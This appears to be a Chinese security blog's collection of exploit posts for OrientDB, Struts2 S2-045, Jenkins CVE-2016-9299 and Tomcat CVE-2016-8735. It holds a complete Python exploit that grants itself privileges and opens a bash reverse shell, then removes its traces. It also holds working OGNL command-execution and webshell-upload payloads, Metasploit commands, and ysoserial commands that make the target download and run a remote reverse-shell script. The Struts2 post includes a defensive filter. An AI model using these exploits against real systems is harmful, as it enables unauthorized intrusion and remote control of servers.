root 发布的文章

安全情报

安全情报感知小密圈

  • 信息安全情报
  • 深网暗网情报
  • 前沿安全技术
  • 业务安全风控
  • 漏洞威胁感知
  • 数据泄露事件

微信扫描二维码加入小密圈:

xiaomiquan

OrientDB代码执行漏洞

漏洞详情

PoC

运行Netcat

nc -lv 8081

PoC.py

import sys
import requests
import json
import string
import random
 
target = sys.argv[1]
 
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
 
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
 
 
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
def enum_databases(target,port="2480"):
 
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
 
        return database
 
    return False
 
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
 
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
 
    return False
 
def run_queries(permission,db,content=""):
 
    databases = enum_databases(target)
 
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
 
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
 
    for priv in priv_enable:
 
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
 
    print "[+] %s"%(content)
    return True
 
def priv_escalation(target,port="2480"):
 
    print "[+] Checking OrientDB Database version is greater than 2.2"
 
    if check_version(target,port):
 
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
 
        if priv1 and priv2 and priv3:
            return True
 
    return False
 
def exploit(target,port="2480"):
 
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
 
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
 
    func_name = random_function_name()
 
    print func_name
 
    databases = enum_databases(target)
 
    reverse_ip = raw_input('Enter the ip to connect back: ')
 
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
 
    if req.status_code == 201:
 
        #print req.status_code
        #print req.json()
 
        func_id = req.json()['@rid'].strip("#")
        #print func_id
 
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
 
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
 
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
 
        #print "[+] Deleting traces.."
 
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
 
        #print req.status_code
        #print req.text
 
def main():
 
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"
 
main()

命令:

python PoC.py ip [port] // 默认使用2480端口

poc1.png

poc2.png

修复方案

Struts2 S2-045 Remote Command Execution(CVE-2017-5638)

0x01 前言

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号为S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时可能存在远程命令执行,导致系统被入侵,漏洞评级为高危。

0x02 漏洞详情

漏洞概述

  • 漏洞编号:S2-045
  • CVE编号:CVE-2017-5638

攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响范围

  • 风险等级:高风险
  • 漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
  • 影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
  • 安全版本:Struts 2.3.32、Struts 2.5.10.1

0x03 漏洞分析

漏洞关键点

  • 基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
  • 恶意攻击者精心构造Content-Type的值

补丁对比

通过版本比对定位漏洞原因

2.3.32:https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a

1.jpg

2.5.10.1:https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b

2.jpg

  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java

加固方式对用户报错加了条件判断

if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
         } else {
            return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
         }

Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码,当Content-Type注入Payload后就可以通过OGNL执行命令了。

0x04 PoC

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
import ssl
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers


def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    ssl._create_default_https_context = ssl._create_unverified_context
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()


poc()

Getshell

POST /test.action?f=css3.jsp HTTP/1.1
Host: 192.168.1.105:8080
Content-Length: 13
Cache-Control: max-age=0
Origin: http://192.168.1.105:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: _multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.105:8080/test.action
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=2905AC0C4AAE617FD1A8E0FE27391DB6
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0.1
Connection: close

test_xxx

会在根目录下面生成css3.jsp,内容就是test_xxx

99c1ca0fed253ae75fe23dccc6b6f326.png

0x05 安全加固&修复建议

  • 升级至Struts2安全版本
  • 使用Servlet过滤器验证Content-Type过滤不匹配的请求multipart/form-data

加固方式

通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。

加固代码:

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class SecurityFilter extends HttpServlet implements Filter {

    /**
     * 
     */
    private static final long serialVersionUID = 1L;
    
    
    public final String www_url_encode= "application/x-www-form-urlencoded";
    public final String mul_data= "multipart/form-data ";
    public final String txt_pla= "text/plain";

    public void doFilter(ServletRequest arg0, ServletResponse arg1,
            FilterChain arg2) throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) arg0;
        HttpServletResponse response = (HttpServletResponse) arg1;
        
        String contenType=request.getHeader("conTent-type");
        
        if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){
            
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("非法请求Content-Type!");
            return;
        }
        arg2.doFilter(request, response);
    }

    public void init(FilterConfig arg0) throws ServletException {

    }

}

1.将Java编译以后的SecurityFilter.classSecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下。

2.配置Filter

将下面的代码加入WEB-INF/web.xml文件中。

<filter>
    <filter-name>SecurityFilter</filter-name>
    <filter-class>SecurityFilter</filter-class>
  </filter>
<filter-mapping>
    <filter-name>SecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

/*代表拦截所有请求,进行攻击代码检查,*.action只检查.action结尾的请求。

示例:

s21.png

3.重启应用即可

0x06 参考

Jenkins CLI Ldap Deser CVE-2016-9299

1024px-Jenkins_logo_with_title.svg_meitu_1.jpg

漏洞名称

Unauthenticatedremote code execution vulnerability in Jenkins

影响版本

  • LTSRelease 2.19.3 之前的所有版本
  • WeeklyRelease 2.32 之前的所有版本

修复版本

  • mainline 2.32
  • LTS2.19.3

漏洞危害

远程代码执行

Exploit

https://github.com/rapid7/metasploit-framework/pull/7815

漏洞复现

b2ae6b6e-eec0-11e6-9657-bebfbfb80609.png


    msf > use exploit/linux/misc/jenkins_ldap_deserialize
    msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
    PAYLOAD => cmd/unix/generic
    msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
    CMD => touch /tmp/wtf
    msf exploit(jenkins_ldap_deserialize) > run
    [*] Exploit completed, but no session was created.

c6ac0df6-eec0-11e6-8c9a-ab1cae579c8f.png

成功

e132e262-eec0-11e6-9335-956b69391ba4.png

[~] ls /tmp/wtf
/tmp/wtf

参考

CVE-2016-8735 Apache Tomcat Remote Code Execution

构造命令

Win ping一次命令:

ping -n 1 qjkpla.ceye.io

Linux ping 一次命令:

ping -c 1 qjkpla.ceye.io

利用Ceye回显看是否存在漏洞:

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "ping -c Groovy1.test.qjkpla.ceye.io"

poc1.png

DNS回显能返回数据,说明执行了Ping命令,也就是说漏洞存在

poc2.png

直接NC监听服务:

nc -l -vv 12555

poc3.png

然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget http://rinige.com/back.py -O /tmp/x.py"

执行完此命令继续构造命令,去执行刚在wget的脚本

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 "python /tmp/x.py 反弹主机地址 反弹端口"

poc4.png

成功反弹:

poc5.png

poc6.png

提供一下测试环境和新编译的ysoserial:

  • 环境:apache-tomcat-8.0.36

链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu